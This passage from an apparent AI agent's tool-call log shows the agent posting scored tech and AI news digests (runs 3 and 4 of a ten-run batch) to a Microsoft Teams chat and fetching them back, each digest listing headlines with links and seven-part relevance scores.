Know](https://news.google.com/rss/articles/CBMilwFBVV95cUxOY0NBZ19RdzBfcTluTmwwZ3ZUaFQ3ME5VXzM1MklIYV9SeEI1VVItRVlQZllUY1V0Tmd4SWQ4UVE2TmRFRmNzVGZibm1WRkZMRi1oYjZtWlN4RVpwSlUwX3RFcXhJQi04TWhCTzl2QTlJcWhWNGY5dGk5Sk91bHZYTm9HemVPUDNPdWRMQ3FQOVBVU2ZGZTNV?oc=5)** \u2014 **26/35** (2+4+4+5+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Rust Clipboard Hijacker Uses Fake GitHub Stars and VirusTotal Upvotes to Steal Crypto](https://news.google.com/rss/articles/CBMigwFBVV95cUxNY01mX1lBY3Z4NjRiUGNycHcxWm9lX0JaRTdQLXJySVVuRVg4ZkNOZlBGa0gxcEFnaEIybWdfN3JIbDF4cks0bUtacWs4Y2Z3TUJ3Tk1hTlE0LWEwbEx3NmhwSXc5R2U2Z1N1UHlQTmsyNEFDMDRTV2xEdTVWWFQ0eEF6a9IBiAFBVV95cUxPbDJIcWtnMGloS0FocjhJZk5yRklPRll4RW1aYURjeWhzOUJxLWhVcHJiSlpzTDNoa2poQ2ZQU1VtTjJ0Z2MyRnpOWHBqeld6dWNzeVNReGd5bUlrbUdNandZcjZMS0hrM09SbEdsUlBTaG85TFA1LUxVclBfcmxHcDNEWm04SkEw?oc=5)** \u2014 **26/35** (2+4+1+5+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[Cloudflare Acquires VoidZero to Enhance Developer Platform](https://news.google.com/rss/articles/CBMiggFBVV95cUxNc3RWSjJfNXo1Y0JaRUtuRk5XSUh3V29CLUpEb3g5emNXem03QTNmWm9ZOW1qbHlpSklUNUdtX2xRUmI2VllMT3lBdVZUeE5WOVpITUxHdnZnaGpVWHJXdW5UZF9JMmJ4RGRoWFNramxKZE5fMHAwSWl0UGY0ajZtR2Nn?oc=5)** \u2014 **25/35** (4+5+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Global tech leaders call for inclusive \u201cSovereign AI\u201d framework to bridge digital divide](https://news.google.com/rss/articles/CBMiwwFBVV95cUxOUjNNTnQtNzJFOUJXWVJhTWQwT3ZaQUEtMkhSckUyQ1cwQzFGZ1Fjb0JrTU9IR3pEemxabklVTkdmSkJSaVdXZjRqVmpZZVowcS1WMHhZOEJ5WWRtU2ZSSC1FYkNIaGVMRWlidGVMcUpTNmk2VFBDdFVjaDRtRjFfby1HSzdUMHgxa0c4VkFhNDhTYmFKOWNBY1JVTExaN2VRd0pTbWNSajlqMHFRRE1HcTBWQjRCZllEV1p5OVpscVZQZVk?oc=5)** \u2014 **25/35** (4+2+4+5+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Veeam and HPE Expand Partnership to Accelerate AI-Ready Private Cloud Adoption](https://news.google.com/rss/articles/CBMiuAFBVV95cUxQdk1LVmFMeXU5WVFCeDlibWtycTZmdlV1TE1OTXl5VFJyY25YZENNWTd0X1hjWEhta0wzTGhDellIYldrN3FmYUJNYUJuSzRYUFJhNm51LTl6SDYtWWUxRHJlV1FrbFVWYVJEeUNGaDFnMTJlNVhjSENLa2Ntc01WY0hWbjV1ZFMxZ3Z2cU4xaGsySkF0LXhHc1JyWlNlcW51SDdoWkpPRXVxUXNwVHVCYjFuRkVrTXF2?oc=5)** \u2014 **25/35** (3+4+4+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Google Cloud Spec Brings Order to the Chaos Surrounding AI Context](https://news.google.com/rss/articles/CBMilwFBVV95cUxQYlJ6V1VEY3l6YzBNQTdlSVFXY2c5RFEzNUJzQktYclR2MHR0dmtBYjJzN084UFVHUlBBRkFpNHk0NG9sdlo2akUxQUtudENKSFhtRUtPSEVVeEQyZThKTm04RHc1LTNLZndNTW0yX19waHRRMndsODhsekZpaF9VTG5nbVBKMGZERjhaMm1YaE5tM3hpaW9N?oc=5)** \u2014 **25/35** (2+4+4+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[New AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget](https://news.google.com/rss/articles/CBMiygFBVV95cUxOaWVIREg5UjNuVFhzWUYzbm5CWDROdGUtYk50YnI4TVIzR1RQcFN4MGVTY29BSlJRY1Bhbjc5ZW5OR3NPV3M5Q1FkRVhrZmFuaWRBdmlPY3RWbzdjSTJZUDZ1dzdHa2RCTEZaVzdpSWxicVNONUpGMnZkOU13UnFHcDZHd1VqWDh1VUtxR0hJcUVON1l1NVB4OThIaG94UmEtV2ZUSjFkdUJEai0wUFBBY2tsN0RSUGpZWmFMdkdLUWIwb0hIemEyTlRB?oc=5)** \u2014 **25/35** (2+5+5+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[Publicis Sapient's 2026 enterprise AI report finds wide adoption but only 10% say it's core to operations](https://news.google.com/rss/articles/CBMi-AFBVV95cUxPVkFnQ0xVTnBDdzI5bkt1TUdjMFkxS3NDcDRLeHMyMEtkWmJMTUx0ODJRZXVxZ29DU3FPWWkwX1FPdnltUll3UndRSFlBRGRuMVgyaGlzN2ljSkV4MXZfcksxRzBMTk42Z2xVLTF3Y1lYM2lSNS15d2t5dzdqYmtnZEE5N0FLUFNxbFhCQXloRWp4bGF4NFh4OS1CRkZJQXFwdzV6QkdzTldNUTUxVWh2dW00eEEyV0xtN2MzbjhDQmUySHpjMjRsdENyUHhwS0t2ck0xdmVnbTVocm16M3o1Z0pROUdHTVA5anQtSlliN2JERHYwNVdFaA?oc=5)** \u2014 **25/35** (2+4+4+5+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104222995?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:02.995Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104222995?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 3/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nWPP Enterprise Solutions, AWS partner to scale enterprise AI adoption across marketing and commerce \u2014 25/35 (2+4+4+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nHow we built an internal data analytics agent \u2014 24/35 (2+5+1+5+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nThe Growth of Vulnerability Management: The Rise of Agentic AI Pentesting \u2014 24/35 (2+5+5+1+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\ne2e-assure introduces Cumulo, the U.K.\u2019s only sovereign, AI-driven, zero-day SOC platform to secure IT and OT environments \u2014 23/35 (4+2+4+1+5+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nSAP Is Pushing Autonomous CX Expansion with Parloa, Google Cloud, AWS Partnerships \u2014 23/35 (3+4+1+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nBell and Canadian AI firm Cohere sign deal to operate models using Bell infrastructure \u2014 23/35 (2+2+4+4+4+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nCircleCI Introduces Chunk Sidecars to Bring CI Validation Directly Into AI Coding Workflows \u2014 23/35 (2+4+4+5+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nControl who and what triggers GitHub Actions workflows \u2014 23/35 (2+4+1+5+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nKAIST develops next-generation database technology that reduces AI hallucinations and improves accuracy by 78% \u2014 23/35 (2+4+4+5+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nMcLaren F1 embraces AI-powered ITSM to build race-day infrastructure \u2014 23/35 (2+2+4+4+4+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104224889\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104224889\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104224889?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:04.889Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 3/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[WPP Enterprise Solutions, AWS partner to scale enterprise AI adoption across marketing and commerce](https://news.google.com/rss/articles/CBMixgFBVV95cUxQN1BMdlZ6bjhTaGlUeTJ4cWlCMkRKS3h0c3dnNlc3eHowdndDa2ltWmNxOWV3VnJjc1c0c0RsT2N4aUUzOG9tbko4aElMYVBBbV9xTVkyV04yOG1WOWZUVjhORFdHM0R1OXdRcDRKOElzZ2cydElVQ2U1dUdVVEt1a2tKaHU4aklDSHN5dGhvbHNUbzVDOHVvSDBzZnJOdWFKd3p2YjRCNjBaMElfR2lSOFRoRE5qM0sxMW5WbTJGRjMydHEtbWc?oc=5)** \u2014 **25/35** (2+4+4+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  2. **[How we built an internal data analytics agent](https://news.google.com/rss/articles/CBMilgFBVV95cUxNcUFMcGpoT0Y5X0lPNE0yaEw1dW1KdktLUlhWdWpRdkRmUm9EOWZwRk8taEdwRklRaktubUxxM0FiZDY5LTBBaFdRVkw4WFY4ZF9SaUN1TFExUmtHUUNkZVBmWDZqTXpHc2NPZ2NDT1o1RTJHWnR0Z2k1M1Vfck9oekdub0RvOTFmSi1hVWR3R1QwZENDcVE?oc=5)** \u2014 **24/35** (2+5+1+5+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[The Growth of Vulnerability Management: The Rise of Agentic AI Pentesting](https://news.google.com/rss/articles/CBMimwFBVV95cUxPUlU2OUd3WjFNcXZKZTRHMjZUNkZralV4Z09laS1TNWNldmNYdWZzN21JYTBCLW9sb1dIWmlUaTc2ZTl3bnU2SVRmeE5sdUlrQmJoaFhZZkpSWUlfYmdMQXcyRkE3ZWxPVDFwaDRoMW1IXzlpQm1iRmJncG44bllhenhnZHZ1QU8xRTk1TTl5LVJrSjFZLU5BTzA4RQ?oc=5)** \u2014 **24/35** (2+5+5+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  4. **[e2e-assure introduces Cumulo, the U.K.\u2019s only sovereign, AI-driven, zero-day SOC platform to secure IT and OT environments](https://news.google.com/rss/articles/CBMi_AFBVV95cUxQcVBMb0VVUll6X0ltNGR3d3JNTlNqQ3hYSDg1VHA1SVRibjVkNUtlODhmWEZRanBqMVlFZFNBM2VEdVJNemVqcko4a0pEbWtSdE9CUFNqcU5rbGlRUmROekdsMkNzdnROM3g5VXlEWlV6XzBfNHlDQVNVcFVrWm9CNXZMTzBJOEVjUEQzdlNLV0t0b2ZmVmQ1V2hqbVEzSVVHRHZ0STdSVjFfTUtWamtja2c4ZFN2OHd4c0tUYXZqRW5KdGlkRE1XOWxwMmRNajZmSld4eG9ETU9lUkk2UXN4OE9tYWI5Zlp3cFhlNGJKbDBra1FkQlZIX2ZJbGE?oc=5)** \u2014 **23/35** (4+2+4+1+5+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[SAP Is Pushing Autonomous CX Expansion with Parloa, Google Cloud, AWS Partnerships](https://news.google.com/rss/articles/CBMiekFVX3lxTE9TMVY2RjhnM3gyTTlTam9ERDY4Z1dqRkxZWldRdlpUYTR1MEtxMkNkdVlWZDJ1M2RhSVZJNnVIQ2NmcVdjSXF0SG9RN1drN0Q5Rkt6WmpxYVNHQ0o4cktNcG1saHJrclRkLW51M3NlZ0pPWjNHSlE0bzlR?oc=5)** \u2014 **23/35** (3+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Bell and Canadian AI firm Cohere sign deal to operate models using Bell infrastructure](https://news.google.com/rss/articles/CBMigwFBVV95cUxPbmZkRUtfOHVQUzM5c2JqUjNET2J4U3l1TllBUENsWVhhU0NkNHcteTFhLVo4UW54WmR1MDd4QnlCcndJR2M2SkdWMzZhYXloeUMzblBJZXZnTFM4WjBPcFJ1RFBIN3NBaGpiNlgtNzhYeWF4Z2h0VG8wbGJTWTllSTNoaw?oc=5)** \u2014 **23/35** (2+2+4+4+4+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[CircleCI Introduces Chunk Sidecars to Bring CI Validation Directly Into AI Coding Workflows](https://news.google.com/rss/articles/CBMia0FVX3lxTFAwczBTdl94U1JLeVhHUWZqSWhBdVlpV3FmSi05NEwyZ0ZUOWhVendBMDBJdkQxVDNGb2txaEoyZlR0YjYyZE53d3FCeE9RUmdQNEhFckM0TW9KOWtvYmU3TkprSFp3OS1ST0t3?oc=5)** \u2014 **23/35** (2+4+4+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Control who and what triggers GitHub Actions workflows](https://news.google.com/rss/articles/CBMinAFBVV95cUxOY1hNRE5mQndCZXpZTGtCUUFQZVhYUmZsZXFlN0pqLVRzRTNESFcxR0FsVTZ4OGlVM2E4dzgyQkpzaUJvSktnaUpFSFFrUXQxMUJvdGVjTzlHbDd3MThGSHBXc3BhenJJU0xMMklXdUZxdFV0U1NwSElROG5xRWZYa3JMby1tYnhFcnhVcjdlLU5vbVEtWkhoMlUyc2c?oc=5)** \u2014 **23/35** (2+4+1+5+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[KAIST develops next-generation database technology that reduces AI hallucinations and improves accuracy by 78%](https://news.google.com/rss/articles/CBMiXEFVX3lxTFBvdE9veHdjVnU5UlJRTG1GU21VY0R0Z3VUWERXU3pFdE92MjZjUWdTT0NNT1JKQkZZTkNEN2JNc3dKWVJ4d1pXWGwzM0phU2hETjN1bWdpWko3U2ZO?oc=5)** \u2014 **23/35** (2+4+4+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[McLaren F1 embraces AI-powered ITSM to build race-day infrastructure](https://news.google.com/rss/articles/CBMirgFBVV95cUxQbmVCYjhoeEdiUjFudUZXTWdYa0p1TzFmSXplUE1WbXBRZUtUdWxXQzFTSHllNXZpbV9IVXJGa2hXenhEaFpSRUt4SEgybjRINF9Rb2I0Vm1XWnpReVRkbVA3dlFqRDNKSV9TTHd3LUJKY256LUI1b1NTXy1LWVVnRHRvV1NtcTEwbnNFS3AwLUl3bmI4anp4RFppV2g4aDdOM3oyU2lSQmVDdE1xdUE?oc=5)** \u2014 **23/35** (2+2+4+4+4+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104224889?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104224889\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 3/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[WPP Enterprise Solutions, AWS partner to scale enterprise AI adoption across marketing and commerce](https://news.google.com/rss/articles/CBMixgFBVV95cUxQN1BMdlZ6bjhTaGlUeTJ4cWlCMkRKS3h0c3dnNlc3eHowdndDa2ltWmNxOWV3VnJjc1c0c0RsT2N4aUUzOG9tbko4aElMYVBBbV9xTVkyV04yOG1WOWZUVjhORFdHM0R1OXdRcDRKOElzZ2cydElVQ2U1dUdVVEt1a2tKaHU4aklDSHN5dGhvbHNUbzVDOHVvSDBzZnJOdWFKd3p2YjRCNjBaMElfR2lSOFRoRE5qM0sxMW5WbTJGRjMydHEtbWc?oc=5)** \u2014 **25/35** (2+4+4+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  2. **[How we built an internal data analytics agent](https://news.google.com/rss/articles/CBMilgFBVV95cUxNcUFMcGpoT0Y5X0lPNE0yaEw1dW1KdktLUlhWdWpRdkRmUm9EOWZwRk8taEdwRklRaktubUxxM0FiZDY5LTBBaFdRVkw4WFY4ZF9SaUN1TFExUmtHUUNkZVBmWDZqTXpHc2NPZ2NDT1o1RTJHWnR0Z2k1M1Vfck9oekdub0RvOTFmSi1hVWR3R1QwZENDcVE?oc=5)** \u2014 **24/35** (2+5+1+5+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[The Growth of Vulnerability Management: The Rise of Agentic AI Pentesting](https://news.google.com/rss/articles/CBMimwFBVV95cUxPUlU2OUd3WjFNcXZKZTRHMjZUNkZralV4Z09laS1TNWNldmNYdWZzN21JYTBCLW9sb1dIWmlUaTc2ZTl3bnU2SVRmeE5sdUlrQmJoaFhZZkpSWUlfYmdMQXcyRkE3ZWxPVDFwaDRoMW1IXzlpQm1iRmJncG44bllhenhnZHZ1QU8xRTk1TTl5LVJrSjFZLU5BTzA4RQ?oc=5)** \u2014 **24/35** (2+5+5+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  4. **[e2e-assure introduces Cumulo, the U.K.\u2019s only sovereign, AI-driven, zero-day SOC platform to secure IT and OT environments](https://news.google.com/rss/articles/CBMi_AFBVV95cUxQcVBMb0VVUll6X0ltNGR3d3JNTlNqQ3hYSDg1VHA1SVRibjVkNUtlODhmWEZRanBqMVlFZFNBM2VEdVJNemVqcko4a0pEbWtSdE9CUFNqcU5rbGlRUmROekdsMkNzdnROM3g5VXlEWlV6XzBfNHlDQVNVcFVrWm9CNXZMTzBJOEVjUEQzdlNLV0t0b2ZmVmQ1V2hqbVEzSVVHRHZ0STdSVjFfTUtWamtja2c4ZFN2OHd4c0tUYXZqRW5KdGlkRE1XOWxwMmRNajZmSld4eG9ETU9lUkk2UXN4OE9tYWI5Zlp3cFhlNGJKbDBra1FkQlZIX2ZJbGE?oc=5)** \u2014 **23/35** (4+2+4+1+5+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[SAP Is Pushing Autonomous CX Expansion with Parloa, Google Cloud, AWS Partnerships](https://news.google.com/rss/articles/CBMiekFVX3lxTE9TMVY2RjhnM3gyTTlTam9ERDY4Z1dqRkxZWldRdlpUYTR1MEtxMkNkdVlWZDJ1M2RhSVZJNnVIQ2NmcVdjSXF0SG9RN1drN0Q5Rkt6WmpxYVNHQ0o4cktNcG1saHJrclRkLW51M3NlZ0pPWjNHSlE0bzlR?oc=5)** \u2014 **23/35** (3+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Bell and Canadian AI firm Cohere sign deal to operate models using Bell infrastructure](https://news.google.com/rss/articles/CBMigwFBVV95cUxPbmZkRUtfOHVQUzM5c2JqUjNET2J4U3l1TllBUENsWVhhU0NkNHcteTFhLVo4UW54WmR1MDd4QnlCcndJR2M2SkdWMzZhYXloeUMzblBJZXZnTFM4WjBPcFJ1RFBIN3NBaGpiNlgtNzhYeWF4Z2h0VG8wbGJTWTllSTNoaw?oc=5)** \u2014 **23/35** (2+2+4+4+4+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[CircleCI Introduces Chunk Sidecars to Bring CI Validation Directly Into AI Coding Workflows](https://news.google.com/rss/articles/CBMia0FVX3lxTFAwczBTdl94U1JLeVhHUWZqSWhBdVlpV3FmSi05NEwyZ0ZUOWhVendBMDBJdkQxVDNGb2txaEoyZlR0YjYyZE53d3FCeE9RUmdQNEhFckM0TW9KOWtvYmU3TkprSFp3OS1ST0t3?oc=5)** \u2014 **23/35** (2+4+4+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Control who and what triggers GitHub Actions workflows](https://news.google.com/rss/articles/CBMinAFBVV95cUxOY1hNRE5mQndCZXpZTGtCUUFQZVhYUmZsZXFlN0pqLVRzRTNESFcxR0FsVTZ4OGlVM2E4dzgyQkpzaUJvSktnaUpFSFFrUXQxMUJvdGVjTzlHbDd3MThGSHBXc3BhenJJU0xMMklXdUZxdFV0U1NwSElROG5xRWZYa3JMby1tYnhFcnhVcjdlLU5vbVEtWkhoMlUyc2c?oc=5)** \u2014 **23/35** (2+4+1+5+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[KAIST develops next-generation database technology that reduces AI hallucinations and improves accuracy by 78%](https://news.google.com/rss/articles/CBMiXEFVX3lxTFBvdE9veHdjVnU5UlJRTG1GU21VY0R0Z3VUWERXU3pFdE92MjZjUWdTT0NNT1JKQkZZTkNEN2JNc3dKWVJ4d1pXWGwzM0phU2hETjN1bWdpWko3U2ZO?oc=5)** \u2014 **23/35** (2+4+4+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[McLaren F1 embraces AI-powered ITSM to build race-day infrastructure](https://news.google.com/rss/articles/CBMirgFBVV95cUxQbmVCYjhoeEdiUjFudUZXTWdYa0p1TzFmSXplUE1WbXBRZUtUdWxXQzFTSHllNXZpbV9IVXJGa2hXenhEaFpSRUt4SEgybjRINF9Rb2I0Vm1XWnpReVRkbVA3dlFqRDNKSV9TTHd3LUJKY256LUI1b1NTXy1LWVVnRHRvV1NtcTEwbnNFS3AwLUl3bmI4anp4RFppV2g4aDdOM3oyU2lSQmVDdE1xdUE?oc=5)** \u2014 **23/35** (2+2+4+4+4+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104224889?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:04.889Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104224889?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 4/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nQuantum Computing Inc. Announces Framework Agreement with Planck Dynamics to Deploy NeuraWave Photonic Reservoir Computer As A Foundational Platform For Next-Generation AI Applications \u2014 23/35 (2+2+4+5+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAI growth and a rethink of data centre power and cooling \u2014 22/35 (2+4+4+4+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAWS aims to take the pain out of RAG with Bedrock Managed Knowledge Base \u2014 22/35 (2+4+1+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nGoogle Chrome Multiple Vulnerabilities \u2014 22/35 (2+4+1+1+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nIBM Nighthawk Processor Validated in Quantum Chromodynamics and Cybersecurity Benchmarks \u2014 22/35 (2+4+1+1+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nINNOSPACE and Norma Partner to Develop Space-Based Quantum Computing Infrastructure \u2014 22/35 (2+2+1+4+4+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nMETRO finishes multi-cloud shift with Wipro and Google Cloud \u2014 22/35 (2+4+1+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nMicrosoft Edge Multiple Vulnerabilities \u2014 22/35 (2+4+1+1+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nOCI Kubernetes Engine (OKE) Adds Support for Compute Host Groups and Quick Recycle to Managed Nodes \u2014 22/35 (2+4+1+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nStressors, AI Forcing Changes to Cybersecurity Teams \u2014 22/35 (2+4+4+1+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104226600\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104226600\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104226600?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:06.6Z\",\n>   \"author_name\": \"Jenish 